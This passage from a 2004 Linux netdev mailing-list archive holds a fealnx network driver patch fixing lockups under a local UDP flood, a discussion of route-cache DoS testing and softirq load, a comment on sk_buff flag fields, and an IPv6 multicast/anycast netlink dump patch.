we are gone and stopped UDP flood, starting ARP address resolution instead, but test box could not answer even that. In this state I can ctrl-C local netcat and box recovers after several seconds. Tx is working again, I can ping other hosts, etc. I conclude that tx timeout logic does not handle situation when *local* process generates and submits tons of packets at enormous rate. Now, the patch itself. It is against 2.4.25. Sorry, it contains some debugging stuff and some future work (e.g. #defines). I decided to not remove it now to avoid brown paper bugs. (I can remove and retest, but testing can take another couple of hours...) I can code tx timeout similarly to 'Too much work', but I retained it 'as is' in hopes of your comments on both code paths. -- vda --Boundary-00=_FRvaAKWhzHJYNhZ Content-Type: text/x-diff; charset="iso-8859-1"; name="fealnx-jgarzik-fromieu-vda.24.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="fealnx-jgarzik-fromieu-vda.24.patch" --- fealnx.c.original Fri Nov 28 20:26:20 2003 +++ fealnx.c Wed Mar 31 17:26:57 2004 @@ -210,6 +210,26 @@ BPREMRPSR = 0x5c, /* bypass & receive error mask and phy status */ }; +//vda: TCRRCR values collected from code: W for writing, R for reading +#define CR_W_ENH 0x02000000 /* enhanced mode */ +#define CR_W_FD 0x00100000 /* full duplex */ +#define CR_W_PS10 0x00080000 /* 10 mbit */ +#define CR_W_TXEN 0x00040000 /* tx enable */ +#define CR_W_PS1000 0x00010000 /* 1000 mbit */ +#define CR_W_RXMASK 0x000000e0 +#define CR_W_PROM 0x00000080 /* promiscuous mode */ +#define CR_W_AB 0x00000040 /* accept broadcast */ +#define CR_W_AM 0x00000020 /* accept mutlicast */ +#define CR_W_ARP 0x00000008 /* receive runt pkt */ +#define CR_W_ALP 0x00000004 /* receive long pkt */ +#define CR_W_SEP 0x00000002 /* receive error pkt */ +#define CR_W_RXEN 0x00000001 /* rx enable (unicast?) */ + +#define CR_R_TXSTOP 0x04000000 /* tx stopped */ +#define CR_R_FD 0x00100000 /* full duplex detected */ +#define CR_R_PS10 0x00080000 /* 10 mbit detected */ +#define CR_R_RXSTOP 0x00008000 /* rx stopped */ + /* Bits in the interrupt status/enable registers. */ /* The bits in the Intr Status/Enable registers, mostly interrupt sources. */ enum intr_status_bits { @@ -401,6 +421,12 @@ /* Media monitoring timer. */ struct timer_list timer; + /* Reset timer */ //vda: + struct timer_list reset_timer; + int reset_timer_armed; + unsigned long crvalue_sv; + unsigned long imrvalue_sv; + /* Frequently used values: keep some adjacent for cache effect. */ int flags; struct pci_dev *pci_dev; @@ -436,6 +462,7 @@ static void getlinktype(struct net_device *dev); static void getlinkstatus(struct net_device *dev); static void netdev_timer(unsigned long data); +static void reset_timer(unsigned long data); //vda: static void tx_timeout(struct net_device *dev); static void init_ring(struct net_device *dev); static int start_tx(struct sk_buff *skb, struct net_device *dev); @@ -478,6 +505,19 @@ } +void stop_nic_rxtx(long ioaddr, long crvalue) //vda: +{ + int delay = 0x1000; + writel(crvalue & (~0x40001), ioaddr + TCRRCR); + + /* wait for rx and tx stop */ + while(delay--) { + int t = readl(ioaddr + TCRRCR); + if( (t & 0x04008000) == 0x04008000 ) break; + } +} + + static int __devinit fealnx_init_one(struct pci_dev *pdev, const struct pci_device_id *ent) @@ -666,7 +706,7 @@ dev->hard_start_xmit = &start_tx; dev->stop = &netdev_close; dev->get_stats = &get_stats; - dev->set_multicast_list = &set_rx_mode; + dev->set_multicast_list = &set_rx_mode; //vda: hmm... set_rx_mode needs locking? TODO dev->do_ioctl = &mii_ioctl; dev->ethtool_ops = &netdev_ethtool_ops; dev->tx_timeout = tx_timeout; @@ -723,7 +763,8 @@ unsigned int m80x_read_tick(void) /* function: Reads the Timer tick count register which decrements by 2 from */ -/* 65536 to 0 every 1/36.414 of a second. Each 2 decrements of the *//* count represents 838 nsec's. */ +/* 65536 to 0 every 1/36.414 of a second. Each 2 decrements of the */ +/* count represents 838 nsec's. */ /* input : none. */ /* output : none. */ { @@ -985,6 +1026,11 @@ /* timer handler */ add_timer(&np->timer); + init_timer(&np->reset_timer); //vda: + np->reset_timer.data = (unsigned long) dev; + np->reset_timer.function = &reset_timer; + np->reset_timer_armed = 0; + return 0; } @@ -1134,15 +1180,17 @@ struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); - np->lack_rxbuf->skbuff = skb; - if (skb == NULL) break; /* Better luck next round. */ + while (np->lack_rxbuf->skbuff) + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->skbuff = skb; + skb->dev = dev; /* Mark as being used by this device. */ np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->status = RXOWN; ++np->really_rx_count; } } @@ -1156,19 +1204,25 @@ int next_tick = 10 * HZ; int old_crvalue = np->crvalue; unsigned int old_linkok = np->linkok; + unsigned long flags; if (debug) printk(KERN_DEBUG "%s: Media selection timer tick, status %8.8x " "config %8.8x.\n", dev->name, readl(ioaddr + ISR), readl(ioaddr + TCRRCR)); + spin_lock_irqsave(&np->lock, flags); //vda: + if (np->flags == HAS_MII_XCVR) { getlinkstatus(dev); if ((old_linkok == 0) && (np->linkok == 1)) { /* we need to detect the media type again */ getlinktype(dev); if (np->crvalue != old_crvalue) { - stop_nic_tx(ioaddr, np->crvalue); - stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); + //vda: stop_nic_tx(ioaddr, np->crvalue); + //stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); + /* stop rx,tx and start again, */ + /* this switches us to new mode */ + stop_nic_rxtx(ioaddr, np->crvalue); writel(np->crvalue, ioaddr + TCRRCR); } } @@ -1176,36 +1230,22 @@ allocate_rx_buffers(dev); + spin_unlock_irqrestore(&np->lock, flags); + np->timer.expires = RUN_AT(next_tick); add_timer(&np->timer); } - -static void tx_timeout(struct net_device *dev) +/* Reinit. Gross */ +static void vda_reset_disable_rxtx(struct net_device *dev) //vda: { struct netdev_private *np = dev->priv; long ioaddr = dev->base_addr; int i; - printk(KERN_WARNING "%s: Transmit timed out, status %8.8x," - " resetting...\n", dev->name, readl(ioaddr + ISR)); - - { - - printk(KERN_DEBUG " Rx ring %p: ", np->rx_ring); - for (i = 0; i < RX_RING_SIZE; i++) - printk(" %8.8x", (unsigned int) np->rx_ring[i].status); - printk("\n" KERN_DEBUG " Tx ring %p: ", np->tx_ring); - for (i = 0; i < TX_RING_SIZE; i++) - printk(" %4.4x", np->tx_ring[i].status); - printk("\n"); - } - - /* Reinit. Gross */ - /* Reset the chip's Tx and Rx processes. */ - stop_nic_tx(ioaddr, 0); - reset_rx_descriptors(dev); + stop_nic_rxtx(ioaddr, 0); + //reset_rx_descriptors(dev); //moved down: contains stop_nic_rx(ioaddr, np->crvalue)! /* Disable interrupts by clearing the interrupt mask. */ writel(0x0000, ioaddr + IMR); @@ -1219,6 +1259,14 @@ readl(ioaddr + BCR); rmb(); } +} + +static void vda_enable_rxtx(struct net_device *dev) //vda: +{ + struct netdev_private *np = dev->priv; + long ioaddr = dev->base_addr; + + reset_rx_descriptors(dev); // contains stop_nic_rx(ioaddr, np->crvalue) writel((np->cur_tx - np->tx_ring)*sizeof(struct fealnx_desc) + np->tx_ring_dma, ioaddr + TXLBA); @@ -1227,18 +1275,66 @@ writel(np->bcrvalue, ioaddr + BCR); - writel(0, dev->base_addr + RXPDR); - set_rx_mode(dev); + writel(0, ioaddr + RXPDR); // is order of these ok? + set_rx_mode(dev); // changes np->crvalue, writes TCRRCR + /* Clear and Enable interrupts by setting the interrupt mask. */ writel(FBE | TUNF | CNTOVF | RBU | TI | RI, ioaddr + ISR); writel(np->imrvalue, ioaddr + IMR); - writel(0, dev->base_addr + TXPDR); + writel(0, ioaddr + TXPDR); +} + +static void reset_timer(unsigned long data) //vda: +{ + struct net_device *dev = (struct net_device *) data; + struct netdev_private *np = dev->priv; + unsigned long flags; + + printk(KERN_WARNING "%s: resetting tx and rx machinery\n", dev->name); + + spin_lock_irqsave(&np->lock, flags); + np->crvalue = np->crvalue_sv; + np->imrvalue = np->imrvalue_sv; + + vda_reset_disable_rxtx(dev); + vda_enable_rxtx(dev); + netif_start_queue(dev); // netif_tx_enable(dev) doesn't exist, right? + + np->reset_timer_armed = 0; + + spin_unlock_irqrestore(&np->lock, flags); +} + + +static void tx_timeout(struct net_device *dev) +{ + struct netdev_private *np = dev->priv; + long ioaddr = dev->base_addr; + unsigned long flags; + int i; + + printk(KERN_WARNING "%s: Transmit timed out, status %8.8x," + " resetting...\n", dev->name, readl(ioaddr + ISR)); + + { + + printk(KERN_DEBUG " Rx ring %p: ", np->rx_ring); + for (i = 0; i < RX_RING_SIZE; i++) + printk(" %8.8x", (unsigned int) np->rx_ring[i].status); + printk("\n" KERN_DEBUG " Tx ring %p: ", np->tx_ring); + for (i = 0; i < TX_RING_SIZE; i++) + printk(" %4.4x", np->tx_ring[i].status); + printk("\n"); + } + + spin_lock_irqsave(&np->lock, flags); //vda: + vda_reset_disable_rxtx(dev); + vda_enable_rxtx(dev); + spin_unlock_irqrestore(&np->lock, flags); dev->trans_start = jiffies; np->stats.tx_errors++; - - return; } @@ -1251,7 +1347,7 @@ /* initialize rx variables */ np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); np->cur_rx = &np->rx_ring[0]; - np->lack_rxbuf = NULL; + np->lack_rxbuf = np->rx_ring; np->really_rx_count = 0; /* initial rx descriptors. */ @@ -1303,14 +1399,15 @@ /* for the last tx descriptor */ np->tx_ring[i - 1].next_desc = np->tx_ring_dma; np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; - - return; } static int start_tx(struct sk_buff *skb, struct net_device *dev) { struct netdev_private *np = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&np->lock, flags); np->cur_tx_copy->skbuff = skb; @@ -1340,7 +1437,7 @@ np->cur_tx_copy->control |= (BPT << TBSShift); /* buffer size */ /* for the last descriptor */ - next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; + next = np->cur_tx_copy.next_desc_logical; next->skbuff = skb; next->control = TXIC | TXLD | CRCEnable | PADEnable; next->control |= (skb->len << PKTSShift); /* pkt size */ @@ -1377,36 +1474,26 @@ writel(0, dev->base_addr + TXPDR); dev->trans_start = jiffies; + spin_unlock_irqrestore(&np->lock, flags); return 0; } - -void free_one_rx_descriptor(struct netdev_private *np) -{ - if (np->really_rx_count == RX_RING_SIZE) - np->cur_rx->status = RXOWN; - else { - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; - np->lack_rxbuf->buffer = np->cur_rx->buffer; - np->lack_rxbuf->status = RXOWN; - ++np->really_rx_count; - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; - } - np->cur_rx = np->cur_rx->next_desc_logical; -} - - void reset_rx_descriptors(struct net_device *dev) { struct netdev_private *np = dev->priv; + struct fealnx_desc *cur = np->cur_rx; + int i; stop_nic_rx(dev->base_addr, np->crvalue); - while (!(np->cur_rx->status & RXOWN)) - free_one_rx_descriptor(np); - allocate_rx_buffers(dev); + for (i = 0; i < RX_RING_SIZE; i++) { + if (cur->skbuff) + cur->status = RXOWN; + cur = cur->next_desc_logical; + } + writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), dev->base_addr + RXLBA); writel(np->crvalue, dev->base_addr + TCRRCR); @@ -1423,6 +1510,8 @@ unsigned int num_tx = 0; int handled = 0; + spin_lock(&np->lock); + writel(0, dev->base_addr + IMR); ioaddr = dev->base_addr; @@ -1548,6 +1637,23 @@ if (--boguscnt < 0) { printk(KERN_WARNING "%s: Too much work at interrupt, " "status=0x%4.4x.\n", dev->name, intr_status); + if(!np->reset_timer_armed) { //vda: + printk(KERN_WARNING "scheduling card reset\n"); + np->reset_timer.expires = RUN_AT(HZ/2); + add_timer(&np->reset_timer); + np->reset_timer_armed = 1; + //taken from reset code: + //stop_nic_tx(ioaddr, 0); //stop tx + + // without this, I've seen one lockup and one 'forever stuck tx' event + stop_nic_rxtx(ioaddr, 0); //stop rx + netif_stop_queue(dev); // or netif_tx_disable(dev);?? + /* Prevent other codepaths from enabling tx,rx,intrs */ + np->crvalue_sv = np->crvalue; + np->crvalue &= ~(CR_W_TXEN | CR_W_RXEN); // or simply = 0? + np->imrvalue_sv = np->imrvalue; + np->imrvalue = 0; + } break; } } while (1); @@ -1564,6 +1670,8 @@ dev->name, readl(ioaddr + ISR)); writel(np->imrvalue, ioaddr + IMR); +out_unlock: + spin_unlock(&np->lock); return IRQ_RETVAL(handled); } @@ -1575,12 +1683,25 @@ { struct netdev_private *np = dev->priv; + //if( ! (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) ) { //vda: + // printk(KERN_ERR "netdev_rx(): nothing to do?! (np->cur_rx->status & RXOWN) == 0x%04x, np->cur_rx->skbuff == %p\n" + // ,(np->cur_rx->status & RXOWN) + // ,np->cur_rx->skbuff + // ); + //} + + //if (np->really_rx_count == 0) { //vda: + // printk(KERN_ERR "netdev_rx(): np->really_rx_count is 0 before while()\n"); + //} + /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while (!(np->cur_rx->status & RXOWN)) { + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; - if (np->really_rx_count == 0) - break; + //if (np->really_rx_count == 0) { + // printk(KERN_ERR "netdev_rx(): np->really_rx_count reached 0\n"); //vda: + // break; + //} if (debug) printk(KERN_DEBUG " netdev_rx() status was %8.8x.\n", rx_status); @@ -1628,8 +1749,15 @@ np->stats.rx_length_errors++; /* free all rx descriptors related this long pkt */ - for (i = 0; i < desno; ++i) - free_one_rx_descriptor(np); + for (i = 0; i < desno; ++i) { + if (!np->cur_rx->skbuff) { + printk(KERN_DEBUG + "%s: I'm scared\n", dev->name); + break; + } + np->cur_rx->status = RXOWN; + np->cur_rx = np->cur_rx->next_desc_logical; + } continue; } else { /* something error, need to reset this chip */ reset_rx_descriptors(dev); @@ -1671,8 +1799,6 @@ } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; - if (np->really_rx_count == RX_RING_SIZE) - np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); @@ -1682,22 +1808,7 @@ np->stats.rx_bytes += pkt_len; } - if (np->cur_rx->skbuff == NULL) { - struct sk_buff *skb; - - skb = dev_alloc_skb(np->rx_buf_sz); - - if (skb != NULL) { - skb->dev = dev; /* Mark as being used by this device. */ - np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, - np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->cur_rx->skbuff = skb; - ++np->really_rx_count; - } - } - - if (np->cur_rx->skbuff != NULL) - free_one_rx_descriptor(np); + np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ /* allocate skb for rx buffers */ @@ -1752,8 +1863,10 @@ rx_mode = AB | AM; } - stop_nic_tx(ioaddr, np->crvalue); - stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); + //vda: + //stop_nic_tx(ioaddr, np->crvalue); + //stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); + stop_nic_rxtx(ioaddr, np->crvalue); writel(mc_filter[0], ioaddr + MAR0); writel(mc_filter[1], ioaddr + MAR1); --Boundary-00=_FRvaAKWhzHJYNhZ-- From dipankar@in.ibm.com Wed Mar 31 09:12:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 09:12:29 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VHC7KO011434 for ; Wed, 31 Mar 2004 09:12:10 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i2VHBEFS439694; Wed, 31 Mar 2004 12:11:14 -0500 Received: from soprano.in.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VHB2b1113368; Wed, 31 Mar 2004 12:11:12 -0500 Received: by soprano.in.ibm.com (Postfix, from userid 500) id 7752D7C52A; Wed, 31 Mar 2004 22:40:24 +0530 (IST) Date: Wed, 31 Mar 2004 22:40:24 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331171023.GA4543@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330213742.GL3808@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1406 Lines: 40 On Tue, Mar 30, 2004 at 11:37:42PM +0200, Andrea Arcangeli wrote: > On Tue, Mar 30, 2004 at 01:30:00PM -0800, David S. Miller wrote: > > On Tue, 30 Mar 2004 23:14:50 +0200 > > Andrea Arcangeli wrote: > > > > > > There are no hardirqs in the case under investigation, remember? > > > > > > no hardirqs? there must be tons of hardirqs if ksoftirqd never runs. > > > > NAPI should be kicking in for this workload, and I know for a fact it is > > for Robert's case. There should only be a few thousand hard irqs per > > second. > > > > Until the RX ring is depleted the device's hardirqs will not be re- > > enabled. > > then Dipankar is reproducing with a workload that is completely > different. I've only seen the emails from Dipankar so I couldn't know it > was a NAPI load. > > He posted these numbers: > > softirq_count, ksoftirqd_count and other_softirq_count shows - > > CPU 0 : 638240 554 637686 > CPU 1 : 102316 1 102315 > CPU 2 : 675696 557 675139 > CPU 3 : 102305 0 102305 > > that means nothing runs in ksoftirqd for Dipankar, so he cannot be using > NAPI. And I am not. I am still on 2.6.0 and there seems to be no NAPI support for the e100 there. Should I try 2.6.4 where e100 has NAPI support ? Anyway, even without softirqs on the back of hardirqs, there are other ways of softirq overload as seen in Robert's setup. Thanks Dipankar From greearb@candelatech.com Wed Mar 31 09:30:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 09:30:26 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VHU7KO012676 for ; Wed, 31 Mar 2004 09:30:07 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i2VHU2PR028651; Wed, 31 Mar 2004 09:30:03 -0800 Message-ID: <406B001A.1030901@candelatech.com> Date: Wed, 31 Mar 2004 09:30:02 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: Ville Nuorvala , netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed References: <200403311201.i2VC13D19579@zero.aec.at> <20040331135449.GB62402@colin2.muc.de> <20040331151047.GA6033@colin2.muc.de> In-Reply-To: <20040331151047.GA6033@colin2.muc.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 788 Lines: 27 Andi Kleen wrote: > On Wed, Mar 31, 2004 at 05:24:47PM +0300, Ville Nuorvala wrote: > >>There just doesn't seem to be any general flag field in sk_buff that we >>might use at this moment. Should one be added, or should we just hide the >>flag inside the cb field using the likes of inet_skb_parm and >>inet6_skb_parm? > > > There are no free bits indeed. I think ->cb is the best choice then. Why not add a 32-bit field to the skb to handle various flag needs going forward? If space is very important, could use an uint16 for flags and consolidate the ip_summed and cloned fields, which seem to be boolean fields. unsigned char local_df, cloned, pkt_type, ip_summed; Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From mashirle@us.ibm.com Wed Mar 31 10:07:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 10:07:30 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VI7LKO014199 for ; Wed, 31 Mar 2004 10:07:28 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VI779x167756; Wed, 31 Mar 2004 13:07:07 -0500 Received: from DYN318388BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VI7208348746; Wed, 31 Mar 2004 11:07:06 -0700 From: Shirley Ma To: davem@redhat.com Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink Date: Wed, 31 Mar 2004 10:07:01 -0800 User-Agent: KMail/1.5 Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, xma@us.ibm.com References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_FjwaAHtOHq6ymLw" Message-Id: <200403311007.01702.mashirle@us.ibm.com> X-archive-position: 4386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 6186 Lines: 202 --Boundary-00=_FjwaAHtOHq6ymLw Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Content-Disposition: inline Here is the new patch. It has been tested against linux 2.6.4 kernel. Thanks Shirley Ma IBM Linux Technology Center --Boundary-00=_FjwaAHtOHq6ymLw Content-Type: text/x-diff; charset="iso-2022-jp"; name="linux-2.6.4-ipv6mib.patch.new" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.4-ipv6mib.patch.new" diff -urN linux-2.6.4/include/linux/rtnetlink.h linux-2.6.4-ipv6mib/include/linux/rtnetlink.h --- linux-2.6.4/include/linux/rtnetlink.h 2004-03-10 18:55:42.000000000 -0800 +++ linux-2.6.4-ipv6mib/include/linux/rtnetlink.h 2004-03-31 09:39:42.003799768 -0800 @@ -47,7 +47,11 @@ #define RTM_NEWPREFIX (RTM_BASE+36) #define RTM_GETPREFIX (RTM_BASE+38) -#define RTM_MAX (RTM_BASE+39) +#define RTM_GETMULTICAST (RTM_BASE+42) + +#define RTM_GETANYCAST (RTM_BASE+46) + +#define RTM_MAX (RTM_BASE+47) /* Generic structure for encapsulation of optional route information. @@ -340,7 +344,8 @@ IFA_LABEL, IFA_BROADCAST, IFA_ANYCAST, - IFA_CACHEINFO + IFA_CACHEINFO, + IFA_MULTICAST }; #define IFA_MAX IFA_CACHEINFO @@ -350,6 +355,10 @@ #define IFA_F_SECONDARY 0x01 #define IFA_F_TEMPORARY IFA_F_SECONDARY +#define IFA_F_ADDRESS 0x02 +#define IFA_F_MULTICAST 0x04 +#define IFA_F_ANYCAST 0x08 + #define IFA_F_DEPRECATED 0x20 #define IFA_F_TENTATIVE 0x40 #define IFA_F_PERMANENT 0x80 diff -urN linux-2.6.4/net/ipv6/addrconf.c linux-2.6.4-ipv6mib/net/ipv6/addrconf.c --- linux-2.6.4/net/ipv6/addrconf.c 2004-03-10 18:55:44.000000000 -0800 +++ linux-2.6.4-ipv6mib/net/ipv6/addrconf.c 2004-03-31 09:39:04.975428936 -0800 @@ -2571,7 +2571,7 @@ if (ipv6_addr_scope(&ifmca->mca_addr)&IFA_SITE) ifm->ifa_scope = RT_SCOPE_SITE; ifm->ifa_index = ifmca->idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifmca->mca_addr); + RTA_PUT(skb, IFA_MULTICAST, 16, &ifmca->mca_addr); ci.cstamp = (__u32)(TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) / HZ * 100 + TIME_DELTA(ifmca->mca_cstamp, INITIAL_JIFFIES) % HZ * 100 / HZ); @@ -2608,7 +2608,7 @@ if (ipv6_addr_scope(&ifaca->aca_addr)&IFA_SITE) ifm->ifa_scope = RT_SCOPE_SITE; ifm->ifa_index = ifaca->aca_idev->dev->ifindex; - RTA_PUT(skb, IFA_ADDRESS, 16, &ifaca->aca_addr); + RTA_PUT(skb, IFA_ANYCAST, 16, &ifaca->aca_addr); ci.cstamp = (__u32)(TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) / HZ * 100 + TIME_DELTA(ifaca->aca_cstamp, INITIAL_JIFFIES) % HZ * 100 / HZ); @@ -2627,7 +2627,8 @@ return -1; } -static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) +static int inet6_dump_addr(struct sk_buff *skb, struct netlink_callback *cb, + unsigned char flags) { int idx, ip_idx; int s_idx, s_ip_idx; @@ -2651,28 +2652,54 @@ if ((idev = in6_dev_get(dev)) == NULL) continue; read_lock_bh(&idev->lock); - /* unicast address */ - for (ifa = idev->addr_list; ifa; - ifa = ifa->if_next, ip_idx++) { - if (ip_idx < s_ip_idx) - continue; - if ((err = inet6_fill_ifaddr(skb, ifa, - NETLINK_CB(cb->skb).pid, - cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) - goto done; - } - /* temp addr */ + if (flags & IFA_F_ADDRESS) { + /* unicast address */ + for (ifa = idev->addr_list; ifa; + ifa = ifa->if_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifaddr(skb, ifa, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) + goto done; + } + /* temp addr */ #ifdef CONFIG_IPV6_PRIVACY - for (ifa = idev->tempaddr_list; ifa; - ifa = ifa->tmp_next, ip_idx++) { - if (ip_idx < s_ip_idx) - continue; - if ((err = inet6_fill_ifaddr(skb, ifa, - NETLINK_CB(cb->skb).pid, - cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) - goto done; - } + for (ifa = idev->tempaddr_list; ifa; + ifa = ifa->tmp_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifaddr(skb, ifa, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) + goto done; + } #endif + } + if (flags & IFA_F_MULTICAST) { + /* multicast address */ + for (ifmca = idev->mc_list; ifmca; + ifmca = ifmca->next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifmcaddr(skb, ifmca, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_GETMULTICAST)) <= 0) + goto done; + } + } + if (flags & IFA_F_ANYCAST) { + /* anycast address */ + for (ifaca = idev->ac_list; ifaca; + ifaca = ifaca->aca_next, ip_idx++) { + if (ip_idx < s_ip_idx) + continue; + if ((err = inet6_fill_ifacaddr(skb, ifaca, + NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_GETANYCAST)) <= 0) + goto done; + } + } read_unlock_bh(&idev->lock); in6_dev_put(idev); } @@ -2687,6 +2714,25 @@ return skb->len; } +static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_ADDRESS; + return inet6_dump_addr(skb, cb, flag); +} + +static int inet6_dump_ifmcaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_MULTICAST; + return inet6_dump_addr(skb, cb, flag); +} + + +static int inet6_dump_ifacaddr(struct sk_buff *skb, struct netlink_callback *cb) +{ + unsigned char flag = IFA_F_ANYCAST; + return inet6_dump_addr(skb, cb, flag); +} + static void inet6_ifa_notify(int event, struct inet6_ifaddr *ifa) { struct sk_buff *skb; @@ -2911,6 +2957,8 @@ [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, [RTM_DELADDR - RTM_BASE] = { .doit = inet6_rtm_deladdr, }, [RTM_GETADDR - RTM_BASE] = { .dumpit = inet6_dump_ifaddr, }, + [RTM_GETMULTICAST - RTM_BASE] = { .dumpit = inet6_dump_ifmcaddr, }, + [RTM_GETANYCAST - RTM_BASE] = { .dumpit = inet6_dump_ifacaddr, }, [RTM_NEWROUTE - RTM_BASE] = { .doit = inet6_rtm_newroute, }, [RTM_DELROUTE - RTM_BASE] = { .doit = inet6_rtm_delroute, }, [RTM_GETROUTE - RTM_BASE] = { .doit = inet6_rtm_getroute, --Boundary-00=_FjwaAHtOHq6ymLw-- From ak@suse.de Wed Mar 31 10:32:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 10:32:36 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VIWNKO015217 for ; Wed, 31 Mar 2004 10:32:24 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by 